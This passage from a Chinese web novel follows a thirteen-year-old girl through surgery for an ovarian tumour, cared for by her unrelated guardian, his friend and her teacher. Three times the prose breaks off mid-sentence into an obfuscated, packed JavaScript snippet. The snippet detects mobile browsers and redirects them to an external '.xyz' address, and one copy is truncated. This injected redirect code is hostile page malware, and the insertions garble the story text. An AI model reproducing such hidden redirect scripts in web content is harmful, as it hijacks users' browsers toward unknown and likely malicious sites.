杨启程坐在椅上,十分不耐烦,却也没说什么。 彩超要半个小时出结果,杨启程问:“吃早饭了吗?” 杨静摇头。 杨启程站起身,杨静也赶紧跟上去。 到医院外面,杨启程找了家早点铺子,点了一屉小笼包,两碗稀饭。 杨静低头,沉默地咬着包子。 杨启程一口气吃了四个包子,渐渐慢下来,问她:“以前就疼?” 杨静赶紧将嘴里食物咽下去,摇头道,“没……上个月才开始。” “让你有事打电话,怎么不打?” 杨静抿了抿嘴,没做声。 杨启程看她这幅模样就来气,人不大,点子不小,一天到晚脑袋里不知道装了些什么弯弯绕绕的心思。 吃完早饭,杨启程点了支烟,抽完眼看时间差不多了,领着杨静又回到之前那医生的办公室。 医生支着彩超诊断报告单给两人看,“左侧卵巢混合型包块,边界清楚,形态规则,包块内部及周边无血流信号,初步诊断为畸胎瘤。” 杨静看着医生手指所点的方向,有些发懵,“畸胎瘤是什么?” “胚胎期生殖细胞异常分化形成,生来就有,你这个边界清楚,应该是良性,但具体还要做手术化验……” 前面的杨静都没听懂,但听懂了“做手术”三个字,当即问道:“要做手术?” “一般都是切除,不做手术,你以后来月经次次都疼,万一是恶性的,拖久了更麻烦……”医生看了看两人,“你们考虑考虑吧。” 杨启程看了杨静一眼,她耷拉着肩膀,垂着头,煞白的脸被笼在一层淡淡的阴影之中。 “杨静,你先去外面等着。” 杨静缓缓抬眼,看了看他。 “去。” 杨静没说话,顺从地转身往走廊去了。 杨启程看向医生,“手术有没有隐患,小姑娘才十三岁……” 医生自然懂他的意思,“要是良性的,瘤子切除就行,不会影响生育功能。” 杨启程沉默片刻,点了点头。 “如果决定做手术,等经期过了,带她过来——你是她的……” “哥哥。” “带你妹妹过来,联系我住院。” 杨启程拿着彩超报告单走出办公室,杨静立即转过身来,看着他。她眼中湿润,鼻头泛红。 “哭什么,”杨启程一拍她脑袋,“先送你回学校,过几天来住院。” 杨静看着他,“一定要做手术?” 杨启程瞪她,“那你想怎么着?” 杨静抽了抽鼻子,摇头。 杨启程将杨静载回学校,又在校门口给她买了几斤水果,“过几天我来接你。” 杨静点头。 “自己进去,我不送你了。” “嗯。” 杨静拎着塑料袋子,走进校门,又回头看了一眼,那辆金杯已经驶远了。 杨静把水果放回宿舍,先去了趟办公室,把检查结果告诉厉昀。 “行,健康最重要,学习的事先放一放不要紧。” 杨静看她一眼,几不可察地皱了皱眉。 这话说的,好像她是多么要紧的好学生一样。 厉昀看着她,“你身体好些了吗?” “没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609380|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,可以上课。” “那回教室吧,要是不舒服,跟老师请假回宿舍休息。” 杨静点头离开。 厉昀看着杨静身影消失,从包里掏出电话,翻出通话记录。 她盯着那个号码看了许久,最终按下通话键。 嘟嘟响了几声,那边响起一个低沉的男声。 厉昀稳住呼吸,“杨先生吗?我是厉昀,我想问问,杨静检查结果怎么样……” · 杨静住进医院,手术之前,还要做一个全身体检。 杨启程有事,派了缸子过来。 缸子有小半年没见过杨静了,如今一看,小姑娘抽条似的长高了一大截,面容轮廓显得更为清晰,眉目之间却有一层不属于她这个年纪的悒郁。 缸子陪着她做完体检,问了问她最近的情况。 “期中考试怎么样?” 杨静尴尬一笑。 缸子笑道:“前段时间你程哥过生日,想把你接出来吃顿饭,算了算,估计你要期中考试,就没打扰你。” 杨静一愣,“程哥几号生日?” “十月二十五号。” 杨静心里不是滋味,“我不知道。” 缸子瞅他,“你是不是恨你程哥把你送去住校?” 杨静忙说,“没有。” 缸子却是一副了然于心的表情,“你别怪他,他是为你好。你也知道我们过的是什么日子,平白无故的,不好把你也牵扯进来。” 杨静摇头,“缸子哥,程哥帮过我,我知道什么是知恩图报。” 缸子叹了声气。 “长到这么大,只有程哥是真心对我好。”杨静抬眼,看着缸子,目光一时很深。 · 体检结果出来,一切指标都正常,符合手术要求。 杨启程来医院跟医生商量手术方案。 “现在有腹腔镜微创技术,术后小姑娘更容易恢复,比传统开刀要好,当然,价格肯定更贵一些。” “开刀要开多大的口子?” 医生比了一下。 杨启程毫不犹豫,“那就腹腔镜。” 病房里,杨静正坐在床边上看书,见门口人影一闪,急忙将书往枕头底下一塞。 杨启程瞥她一眼,“什么见不得人的?” “没……” 杨启程走过去,手臂伸到枕头下一捞,“《白马啸西风》。” 杨启程挑眉,“不好好学习,成天就看这些乱七八糟的。” “没有,住院无聊。”杨静小声说。 杨启程丢下书,在一旁的空床上坐下,“后天做手术。” “哦。” “全麻,两个小时就做好了。” “哦。” “哦什么哦。” 杨静忙说,“我不怕。” 杨启程“嗯”了一声,摸了摸口袋,“我去外面抽支烟。” “程哥,”杨静急忙叫住他,从一旁的柜子里把书包拖出来,翻出一封存折递过去,“密码没改。” 存折是之前杨启程帮她办的,孙丽留的钱全在里面。 杨启程往她手里看了一眼,“你先留着。” 说着,捏着烟盒出去了。 晚上陈骏过来了,他把果篮和花放在柜子上,又从书包里翻出四五本小说,递给杨静,笑说:“怕你无聊。” 杨静收下,说了声谢谢。 陈骏在凳子上坐下,看了看杨静,“什么时候手术?” “后天。” “具体是什么病?” 杨静抿了抿唇,没答。 陈骏也不在意,他知道杨静就是这样的性格。 两个人有一搭没一搭聊了一会儿,病房门打开,杨启程从外面进来,手里拎着一只袋子。 陈骏急忙站起身,看了杨静一眼。 杨静介绍:“我哥,你可以喊程哥。” 陈骏说:“程哥,我是杨静的同学,我叫陈骏。” 杨启程“嗯”了一声,拿眼打量陈骏。十三四岁,正是拔节生长的时候,整个人仿佛抽条的树,脸上一股生嫩的认真劲儿。 杨启程往病床上扫了一眼,看见多出来的四五本古龙的小说,“你带的?” 陈骏点头。 “以后别给她带,眼睛都要看瞎了。” 杨静不乐意了,“住院无聊。” 杨启程看她,“你是来治病的还是来娱乐的?” 杨静撇了撇嘴,小声说:“法.西.斯。” 陈骏在旁看着,忽然有些不是滋味。 杨启程指挥杨静,“给你同学拿个橘子。” 杨静照做。 陈骏接过橘子,剥了皮,分成两半,递一半给杨静。 杨静摇头,“我不吃。” 陈骏只得收回手,自己把橘子一瓣一瓣喂进嘴里。 杨启程问了问他的基本情况之后,也就无话可说了;杨静也不是外向的性格,陈骏纵使想活跃气氛,也有心无力。最后,三个人基本大眼瞪小眼。 陈骏站起身,“程哥,那我先回去了,让杨静早点休息。” 杨启程点头,将他送到走廊。 杨启程往病房里看了一眼,杨静已经在看书了。他转向陈骏,“杨静在学校里是不是没什么朋友?” 陈骏犹豫了一下,还是照实回答,“她挺内向的。” “那麻烦你多帮帮她。” 陈骏愣了一下,点头,“我会的。” 只是…… “你自己一个人来的?” 陈骏点头。 “家远不远,要不要我送你。” “不用,坐车就几站路。” 杨启程“嗯”了一声,“那好,我不送你了。” 陈骏点头道别,“我过两天再来。” 陈骏缓缓朝走廊那端走去,快到楼梯口了,又停下脚步,回头看了一眼。 他想到方才杨静同杨启程说话时的神态。 他当然想帮杨静,只是…… 杨静是冷漠的、疏离的,像晨间的风,像缀在树尖的叶,可以感知可以看见,却无法掌控无法靠近。 然而,杨静原来也可以是娇嗔的、孩子气的。 ……但只在一个人面前。 8. (08)病(中) 手术前一天,杨静自早上开始就只能吃流食了。晚上八点,护士端来一大铁钵的药水,要杨静喝下去。 那药水一股咸味儿,十分恶心,杨静喝了两盅就撑不住,问护士能不能不喝了。 “不喝要灌肠的。” “那我灌肠……” 话音没落,脑袋上挨了一下,杨启程瞪她,“赶紧喝。” 杨静苦着脸,“不好喝……” 杨启程不为所动。 杨静只得泪眼汪汪地拿起杯子,舀了半杯,皱着眉喝了一小口。 护士笑了,“你这样更难受,大口喝吧。” 杨静一咬牙,一鼓作气又喝了两杯。过了一会儿,肚子里开始咕噜咕噜叫,她立即捂住肚子奔去洗手间。 趁着这时候,杨启程端起杯子喝了一小口那药水…… “呸!”他一下吐了出来。 还真挺难喝。 护士又敦促杨静喝了两杯,嘱咐她过十点了就不得喝水。 杨静一趟一趟跑洗手间,最后肚子里都清空了,才终于消停下来,洗漱之后,爬上床休息。 杨启程临走前,将她枕头底下的小说都抄出来,“早点睡,今天不准再看书了。” 第二天清晨,杨启程早早赶来医院,送杨静进手术室。 杨静身上穿着医院的病号服,蓝白条纹的。 她手臂往外伸,因为一晚上没喝水,嗓子干哑,“……哥。” 杨启程低头看了看,她从袖管里伸出的手腕芦管一样纤长,似乎一捏就断。 杨启程伸手,将她手轻轻一握。 她手指发凉,掌心里有汗。 杨启程难得和颜悦色,“别怕。” 杨静点了点头。 “全麻,没什么感觉,睡一觉就做完了。” 杨静又点了点头。 杨启程不自觉地用力,将她手指一捏,片刻之后,松开。 杨静跟在护士后面进了手术室,门合上之前,又扭头看了一眼。这一眼恰好对上杨启程的目光,他神情与平日没什么不同,目光更深一些。见她回头张望,冲她点了点头,似是安抚。 杨静深深呼吸,转过头来。 杨启程在走廊里等着,哪儿也没去。 不一会儿,缸子提着果篮和营养品来了。 “进去了?” 杨启程点头。 缸子把东西先放去病房,回到走廊,从大衣内口袋里掏出一封存折,递给杨启程,“我平常也不存钱,就这么多。” 杨启程接过,低声说了句:“谢了。” 缸子摸了支烟出来,咬在嘴里过干瘾,“你打算就这样?” 杨启程看他一眼。 “这回还是小事,以后再有什么意外,钱去哪儿凑?就白天看场子这点儿钱,塞牙缝都不够。” 杨启程没说话。 “还是上回跟你提的,现在有个机会。” “说说。” 缸子说:“我认识一个人,做药材生意的,这次打算进藏,车队缺俩司机,最好有点身手的,路上遇到点儿什么事也不怵。” “能拿多少钱?” “钱不是重点啊,重点是跟着跑几趟,熟悉流程了,咱可以自己单干。” 杨启程沉吟,“杨静得住一周才能出院。” “不急,车队还要半个月才走。你考虑考虑,我让人把这位子先留着了。” 正说着话,杨启程手机响起来。接起来一听,杨静班主任打过来的,问他手术室的位置。 过了片刻,厉昀过来了。 杨启程做介绍,“杨静的班主任,厉老师。” 厉昀朝缸子伸出手,笑说:“你好,我叫厉昀。” 缸子忙轻轻握了握,“我是老杨朋友,曹钢。” 寒暄几句,厉昀问:“进去多久了?” 杨启程答:“半个小时。” 厉昀说:“不知道顺不顺利。” 缸子笑说:“肯定没问题,这丫头命硬着呢。” 厉昀笑了笑。 厉昀在走廊长椅上坐下,缸子侧过身去同她聊天,“厉老师教什么的?” “语文。” “那巧了,我以前还当过语文课代表。” 厉昀笑一笑,“那真是巧。” “可不是,我现在还能背《出师表》。” “曹先生记性好。” 缸子嘿嘿一笑,又问:“厉老师工作几年了?” 厉昀正要回答,意识到缸子这是在委婉问她年纪,便只笑了笑,答道:“没几年,今年刚当班主任。”片刻,她心念一动,问,“曹先生哪里高就?” 缸子笑了,“高就谈不上,什么来钱做什么。” “做生意的?” “……算是吧。” “杨先生也是?” 缸子瞅了杨启程一眼,“嗯,我俩一个鼻孔出气。” 正这时,杨启程忽然插话,“你们先帮忙看一会儿,我出去抽支烟。” 厉昀看着杨启程身影走远了,收回目光,又问缸子:“杨先生跟杨静是堂兄妹吧,两人差多少岁?” 缸子哈哈一笑,“他俩恰好一个姓,不是亲戚。老杨今年二十三,大十岁吧。” 厉昀怔了怔,“没血缘关系?” “没有。” 厉昀沉默片刻,才又笑了笑,“那杨先生对杨静挺好的。” “老杨这人仗义。” 缸子很会活跃气氛,然而厉昀却有些心不在焉。 终于,她逮到一个机会,又问:“杨静上学期走读,是住杨先生家里?” 缸子心生警惕,微微眯了眯眼,笑说:“没,他俩是邻居,住一栋楼。” 缸子这人有个毛病,瞅见漂亮姑娘了,总会习惯性地撩一撩。然而万花丛中过,这么多年,他喜欢的姑娘全是一个类型的:脾气直爽,有一说一,爱憎分明。这样的姑娘爱起来爽快,分起来也爽快。显然,厉昀并不是这样的人。 很快,杨启程抽烟回来了。 有缸子找话题,气氛倒不十分尴尬。又过了二十分钟,缸子问:“厉老师上午没课吧,要是耽误你时间……” 厉昀忙说:“我今天没课,再说,我是杨静班主任,我得对她负责。” 缸子笑了笑,终于没辙。 他这人唯独不擅长应付端着架子一板一眼的人,今天恰好碰上个中高手。然则既然厉昀在场,他也不好意思完全晾着她只跟杨启程聊天。 想了想,干脆起身,“我也出去抽支烟,一会儿回来。” 厉昀望着缸子走远了,暗暗舒了口气。 杨启程翘腿坐在对面椅子上,面无表情。 厉昀看他片刻,忽然站起身,暗暗屏住呼吸,将穿在外面的一件薄风衣外套脱下来,搭在提包上。 杨启程目光扫过来。 她里面穿着一件白色衬衫,在腰上系了个结;衬衫里面,是一件黑色的吊带。 杨启程静了数秒,“我见过你。” 厉昀动作一顿,笑说:“我跟杨先生应该见过不少次了。” 杨启程摇头,“上半年,三川路一家酒吧里,我见过你。” 厉昀愣了愣,片刻后惊讶道:“我想起来了,当时我两个朋友打架,你是那时候的……保安?” 杨启程点头。 厉昀笑了,“我是说那天在学校第一次见到杨先生,就觉得十分面善。” 杨启程表情有所缓和。 厉昀笑说:“也是缘分。” 她观察着杨启程的表情,“我其实早就想跟杨先生好好聊一聊,”她顿了顿,“关于杨静的事。” 杨启程看她,“杨静怎么了?” 厉昀斟酌片刻,认真问道:“杨先生听没听说过创伤后应激障碍?” 杨启程摇头,神情平淡。 厉昀解释道:“创伤后应激障碍,一个人受伤以后,很可能会延迟出现一种精神障碍。这种精神障碍分为很多类型,其中一类,是回避和麻木型……” “你是说杨静有病?” 厉昀一愣,“杨先生,不是这个意思。我修过心理学,我觉得杨静的反应,有些符合创伤后应激障碍的症状……她情绪太压抑了,需要得到疏导。” 杨启程本有些不以为然,但听见最后一句却顿了顿。 “人就像一个容器,如果负面情绪只进不出,久而久之,很可能影响心理健康。” 杨启程看她一眼,神情有所缓和,“每个人表达方法不一样。” 厉昀点头,“但是人都会有倾诉的欲望,不管用什么方式。关于她母亲去世这件事,她有没有找你,或者找其他人倾诉过?” 杨启程沉默。他相信,杨静不会愿意对任何一个人讲这件事。 半晌,他沉声问厉昀:“你有什么办法?” 厉昀微蹙着眉,轻轻叹了声气,“老实说,我有心无力。杨静戒心很强,对不熟悉的人很有敌意。” 这点杨启程认同。 “需要一个她绝对信任的人,帮助她把负面情绪纾解出来。”厉昀看着杨启程。 杨启程问:“你是说我?” 厉昀点头,“你是杨静哥哥,对她最熟悉。具体怎么做,我可以帮你们。” 杨启程沉吟,片刻后只说:“这事以后慢慢再说吧。” 厉昀笑一笑,也不再说什么,点头说好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609381|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又等一个小时,手术终于结束,杨静被推回病房,她全身都接着管子,氧气罩、输尿管、输液的输血的……一张小脸跟白纸一样,没有一点血色。 杨启程伸手碰了碰她的脸,冷得仿佛冰碴,一摸手臂,也是如此,便将被子掖得更紧。 快到午饭时间了,杨启程让缸子请厉昀吃饭,自己留在病房陪护。 厉昀忙说,“我回学校吃,中午还要去宿舍查寝。” 杨启程点头,“下回请厉老师吃饭。” 送走厉昀,缸子又转回来问杨启程,“吃点啥,我给你带。” “随便。” “杨静能吃吗?” “八小时内水都不能喝。” 缸子看了看床上的杨静,叹一声气,“也是可怜。” 杨静被叫醒了,护士过来替她量了量血压,把氧气罩撤下。 杨静张了张口,哑声问:“手术做完了?” “早做完了。” 杨静嘴唇上起了一层死皮,“……我想喝水。” 杨启程倒了杯温水,拿棉签蘸着,替她擦了擦嘴唇,“忍着,还不能喝水。” 杨静清醒了一会儿,又接着睡。杨启程百无聊赖,把杨静租的书拿过来看。 不知过了多久,听见杨静嘴里轻轻哼了一声。 杨启程抬头,发现杨静睁开了眼睛,“疼?” 麻药作用已经消退,为了止血,伤口上还压着沙袋。 杨静只说,“有一点,不是很疼。” “疼就睡一会儿。” 然而背也疼,又疼又僵。 杨静轻声说,“好。” 杨启程低头看了一会儿书,抬头去看杨静,却发现她并没有睡。 她紧蹙着眉,牙齿紧咬着嘴唇。 杨启程丢了书,抬手按铃。 片刻,护士进来。 杨启程问:“能不能给她用点止痛的。” 护士走到杨静身旁,仔细看了看,“我去问问医生。” 过了半晌,护士拿着小半瓶药水回来,换上正在输的,“只能打这一次。” 杨启程点头。 护士在记录卡上写了一行字,调了调流速,“输完了按铃叫人来换。” 药水见效很快,不过十来分钟,杨静再度合上眼。 晚上六点,今天的药水终于打完。杨启程回家洗了个澡,换了套干净衣服,吃过晚饭方又回到病房。杨静已经醒了,比之前精神稍好。 杨启程问她:“还疼不疼?” 杨静摇头,“好些了。” 杨启程“嗯”了一声。 然而杨静看着他,欲言又止。 “怎么了?” 杨静支支吾吾,“我……我想上厕所。” 杨启程顿觉尴尬,轻咳一声,“插管子了……” 杨静涨红了脸。 杨启程站起身,主动回避,“我出去抽支烟。” 晚上八点左右,陈骏过来探病。 他这回没给杨静带书,而是带了个MP3. 陈骏一边给她演示怎么操作,一边说:“电都充好了,能用七八个小时,里面有两百首歌。” 杨静说“谢谢”。 陈骏在床边坐下,“其实中午就打算来的,被祝老师叫去帮忙了。” “没事。” 陈骏看她,“疼不疼?” “还好。” 陈骏把自己额前的头发撩起来,“我额头上有个疤,能看见吗?” 杨静瞥了一眼,“不明显。” “小学三年级出车祸留下的,缝了二十多针。我奶奶说,小时候把罪都受了,以后就会一帆风顺。” 杨静勾了勾嘴角。 陈骏看她笑了,自己反而不好意思起来,摸了摸鼻子。 杨启程在一旁看得想笑,觉得自己电灯泡似的碍眼,便站起身往外走。 杨静忙问:“去哪儿?” “透气,房里一股药味儿。” 陈骏收回目光,看向杨静,“程哥晚上要在这里陪床?” 杨静摇头,“不知道。” 以杨启程的性格,哪里耐得了这个烦,病房里又小又闷,还不能抽烟。 “那半夜有什么需要……” “总有办法。” 一直盘旋在脑中的疑问再次冒出来,陈骏犹豫片刻,还是说出口,“杨静,我觉得……程哥和你不像堂兄妹。” “本来就不是。” 陈骏愣了愣,“那你上回说……” “我没说。”杨静瞥他一眼,“不管是不是,反正无论如何,他就是我哥。” 陈骏紧抿嘴角,沉默片刻,转移了话题。 9. (09)病(下) 陈骏坐到九点离开,杨启程却仍然留在病房,并没有要走的意思。 九点半,没走;十点,仍没走。 十点半,杨启程去了趟洗手间,回来关上病房大灯,脱鞋往旁边床上一躺,吩咐杨静:“睡觉。” 杨静无声笑了笑,语气倒是平静,“哦。” 睡了没一个钟头,杨静醒了,胃里翻腾,头晕目眩。 她气若游丝地喊了一声:“程哥。” 那边呼吸沉沉,没动静。 杨静只得抬高声音,又喊一次。 便觉黑暗里身影腾地坐了起来,“怎么了?” “……想吐。” 杨启程急忙开了灯,从床底下拖出塑料盆,坐到床沿上将杨静上半身扶起来。 杨静扒着盆子,“哇”一下吐了。 然而她一整天滴米未进,胃里空空如也,只剩下胃酸。 吐过一阵,杨静躺了半小时,又开始反胃。 折腾大半宿,身上伤口开始发疼,胃又似整个翻了过来。 杨静精疲力尽,又痛又难受,终于受不了,最后偏着脑袋,小声地哭了起来。 杨启程一愣,半晌,伸手按着杨静的肩膀,“哭什么。” 杨静呜呜抽泣,并不答话。 杨启程有些烦,但也有些揪心。大掌搭在她背上,一下一下轻拍,“麻药醒了是会这样,明天就好了。” 杨静鼻头通红,眼泪没入鬓边的发丝里,额上一层冷汗。 杨启程不知如何安慰,只得拿大拇指腹替她抹眼泪,“行了行了,别哭了。” 过了一会儿,哭声渐歇。 杨启程起身将毛巾打湿,“啪”一下搭在她脸上,使劲擦了几下,动作一点不温柔。 杨静觉得自己皮肤都要给他搓下来了,小声抗议,“轻点。” “大半夜不睡,真他妈事真多。” 杨静笑出来。 “笑屁。” 杨启程将毛巾晾起来,又拿棉签给杨静蘸水擦了擦嘴唇,“还想不想吐?” 杨静摇头。 凌晨三点,杨静终于睡着了。 黑暗里,呼吸沉缓悠长。 杨启程听着,也合上了眼。 第二天,杨静被准许开始吃流食。然而她食欲不振,一碗稀饭只能喝下一半。 杨启程总不耐烦,却也没有哪一次真的撇下她不管。 到第四天,医生给杨静检查以后,嘱咐她可以开始下地运动了,最好每天上午和下午各走动半个小时。 杨静一动伤口就疼,然而怕肠子真的纠在一起,只得每天咬牙从床上爬起来,佝着腰,在杨启程偶尔的嘲笑中绕着房间和走廊慢慢散步。 这天,缸子过来探望,一来就看见杨静插着腰,蜗牛似的慢慢挪动。 缸子笑问:“你程哥呢?” “病房里。” “你不进去啊,外面冷。” 杨静苦着脸,“我还要走二十分钟,缸子哥你先进去吧。” 缸子推门一看,杨启程翘腿躺在病床,正津津有味地看着小说。 “哟,您搁这儿度假呢。” 杨启程瞥他一眼。 缸子拉了张椅子坐下,“杨静还有几天出院?” “三四天。” “跟你说的那事,考虑怎么样了?那边要确定名单,你要是不去,他们找别人顶上。” 杨启程丢下书,从床上坐起来,“我再想想。” “怎么娘们儿一样磨磨唧唧,去不去。一句话的事。” 杨启程烦躁,“明天给你答复。” 缸子瞅他,往门外努了努嘴,“不放心?” 杨启程没吭声。 “在学校不会出啥事儿,不还有那个厉老师吗?” 杨启程蹙眉,“关她什么事。” 缸子笑了,“她对你有意思,看不出来?杨静是你妹妹,她肯定会格外照顾。” 杨启程不以为然。 “反正都是混吃等死,换个混法,即便不成,再不济还能比现在更差?” 缸子也懒得谆谆教诲了,瞅见柜子上有盒草莓,拆开来往自己嘴里塞了一个,嚼两下,摇头,“不好吃,你买的?” “三十块一斤,我买得起?” 缸子笑了,“哦,上回那小子买的?对杨静很上心嘛。” 正说着话,杨静推门进来。 缸子一看时间,差不多得去吃晚饭了,便问杨启程:“出去吃饭?” 杨启程起身,“去。”看了看杨静,“想吃什么?” “随便。” “哪有随便卖。”杨启程白她一眼,披上外套,和缸子一道出门。 杨静躺在床上看了半本书,杨启程拎着饭菜回来了。 有菜有汤有粥,特意避开了发物。 杨静把饭盒一一打开,坐在床沿上。 她喝了小半碗汤,抬头看向杨启程,小心翼翼征询:“程哥,一会儿能不能陪我到楼下走一会儿,楼里空气闷。” 杨启程看她,“你能走?” “我慢点,可以的。” 十一月的夜晚,风已有些料峭。 杨静病号服外套了一件外套,脚下穿着棉拖鞋。她刚刚吃饱饭,身上很暖和,并不觉得冷。 杨启程脚步放得很缓,然而即便这样,杨静仍是比他慢,两人隔了三四步的距离。 空气中有股枯叶和冷霜的萧索气息,灯光下,从嘴里呼出的气体变成小团小团的白雾。 他们从住院部走到了前面的门诊大楼,大楼旁有个宽敞的草地。 杨启程抬头看了看,草地旁错落支着几个木凳,“坐不坐?” 杨静点了点头,“那坐一会儿吧。” 杨启程却没坐下,点了一支烟,蹲在一旁默默地抽。 木凳旁有一株高高的狗尾巴草,杨静一把揪起来,在自己手指上绕了几个圈,松开,又绕几个圈……她微微转过头,看向杨启程。 他这几天没好好刮胡子,下巴上一圈青色的胡茬,不说话的时候,看着比平时更凶。 然而杨静并不怕他,即便他一不耐烦了就会满口冒脏字。 “程哥……”杨静轻声开口,“我听见你和缸子哥说的话了。” 杨启程顿了一下,偏头看她。 “你想做什么事就去做吧,我能照顾好自己。” 杨启程轻哼一声。 “我不想你打夜场,太危险了……” “你懂什么。” 杨静没反驳。 有风吹过来,撩起她鬓边的头发,从耳朵擦过。 狗尾巴草被缠断了,手指上有股淡淡的草汁味儿。 “程哥,我没别的亲人了。” 风将这句低语吹散,然而杨启程听见了。 ……我没别的亲人了。 我只有你。 我不想你打夜场,太危险了。 杨启程微微眯起眼睛,咬着烟,却半晌没动。 最后,他站起身,猛吸一口,淡蓝色烟雾霎时消散于风中。 “你懂什么。”他仍是说。 杨静抬头看他,“好不好?” 她眸子清澈而深沉。 等了许久,杨静在越发沉重的沉默之中,渐渐觉得有些冷。 杨启程终于开口,“你得答应我一件事。” 杨静忙问,“什么?” “认真读书,考个好高中,好大学。” 杨静毫不犹豫,“好。” 杨启程哼一声,“数学才63分,答应得倒是轻巧。” 杨静嘿嘿笑了一声,眼睛里亮晶晶的。 杨启程看她,“冷不冷?” “不冷,我想再坐一会儿。” 杨启程将身上外套脱下来,往她背上一搭。 这是件皮夹克,上面有股淡淡的膻味,内衬很暖,还带着杨启程的体温。 杨静抓住外套,“你不冷吗?” “不冷。”杨启程摸了摸裤子口袋,“你坐着,我出去买包烟。” 杨静点头。 杨启程身影渐渐远了,绕过门诊大楼,消失在夜色里。 杨静抓紧了外套,缩着脖子,轻轻抽了抽鼻子,嗅了一下。 等了十来分钟,杨启程的身影又出现在拐角处。 朝着这处,越来越近。 最后,他停在跟前,“走不走?” 杨静点头,缓缓站起身。 杨启程仍是走在前面,杨静跟在他身后,慢慢的,一步一步。 · 几天后,杨静出院了,但还不能上学,就又暂时住回了扁担巷。 又过十来天,杨启程和缸子要跟着车队入藏。临行前,杨启程联系厉昀,委托她去找舍管协商,在一楼给杨静另找个床位,方便她进出。 厉昀爽快答应,很快将此事办妥。 杨启程为了感谢她,践行上次的承诺,请她吃饭。 杨启程在约定地方等了约莫十五分钟,厉昀打开电话问具体座位。杨启程到门口去接,一推门便见厉昀正站在夜色中微微探头张望。 她穿了一件杏色的风衣,没有像平常一样扎马尾,柔软的发丝垂在肩后。 杨启程出声:“厉老师。” 厉昀转过来,看见杨启程,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609382|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他微微一笑,“久等了,路上有点堵车。” 杨启程摇头,“没等多久。” 到了座位,厉昀将外套脱下来搭在椅背上,捋了捋头发,在杨启程对面坐下。 杨启程将菜单递给她,“请点菜。” 厉昀推拒,微微笑着,“我没来这里吃过,杨先生你点吧。” 有没有忌口?” “不能吃虾,容易过敏,其他都可以。” 杨启程点头,翻了翻菜单,喊来服务员点了几道菜。 等上菜的时候,杨启程给厉昀倒了杯热茶。 厉昀笑了笑,捧着杯子抿了一小口,“天气开始冷了。” 杨启程点头。 厉昀看向杨启程,“听杨先生的口音,好像不是旦城本地人?” “暮城的。” “我大学的时候,在暮城山区支教过半年。” 杨启程看她,“哪个山区?” 厉昀报了一个地名。 “离我家不远,一百多公里。” 厉昀点头,“不过路难走,一百公里开车要三四个小时。我们当时坐的直达大巴,从旦城到暮城一共二十个小时,去山区又走了七个小时……后来整车人都吐了,除了司机。” 杨启程“嗯”了一声,“厉老师工作几年了?” 厉昀顿了顿,“我比杨先生大几岁。” “你看着小。” “是吗?”厉昀笑了,“班上不少女生背后叫我老女人。” 杨启程看了看厉昀。 私底下,她好像并不是那么古板说教,起码今次比上回在手术室外同他讲什么“精神障碍”要可爱得多。 “小姑娘都叛逆。” 厉昀微微一笑。 菜端上来,杨启程问厉昀喝不喝酒。 厉昀想了想,“喝点啤酒吧,冬天喝酒暖和。” 杨启程给厉昀先倒了一杯,举杯敬她,“谢谢你照顾杨静。” 厉昀忙说:“我分内的。” 两人边吃边聊,吃了快一小时,酒足饭饱。 路灯底下绕着一层单薄的雾气,让橙黄色的灯光沾染了水汽一样。 杨启程问厉昀,“你怎么回去?” “我去前面打的。” “我送你过去。” 杨启程配合厉昀的步调,走到路边等车。他摸了摸口袋,“我去旁边抽支烟。” 厉昀忙说,“没事。” 杨启程点燃烟,走到一旁樟树底下。 厉昀微微侧身看他。 男人身形挺拔,就像他背后的树一样。夜色中,一点火星忽明忽灭,烟雾腾起,又飞快地消散。 杨启程一支烟没抽完,来了辆出租车,司机喊道:“去哪儿?” “哦,去红星小区……”厉昀捋了捋头发,冲杨启程喊道,“杨先生,车来了,我先走了。” 杨启程大步走过来,替她拉开了车门,待她坐上去,沉声说:“厉老师,过几天我要去川藏一趟,杨静在学校里,麻烦你多关照。” 厉昀点头,“当然的。” 杨启程说:“谢了。” 一摸口袋,掏出三十块钱递给司机,“师傅,多的钱找给她。” 说罢,关上车门。 厉昀这才反应过来,“……杨先生你太客气了。” 车子发动,厉昀忙说:“再见。” 杨启程点头,摆了摆手,转身走了。 第二天,杨启程送杨静回学校,帮她安置妥当。 上课的时间,整个校园里安安静静。 杨静将杨启程送到门口。 杨启程看她,“存折上还有没有钱?” 杨静忙不迭点头。 “过几天要拆线头,自己去医院。” “嗯。” “有什么事,找你班主任。” 杨静撇了撇嘴,还是说:“嗯。” “天冷了多穿点衣服,别感冒了。” “嗯。” 杨启程顿了顿,拉开金杯驾驶座的车门,“那我走了,你回宿舍休息。” “程哥,”杨静忙说,“那你跟缸子哥注意安全。” “知道。” “我等你回来……过年。” 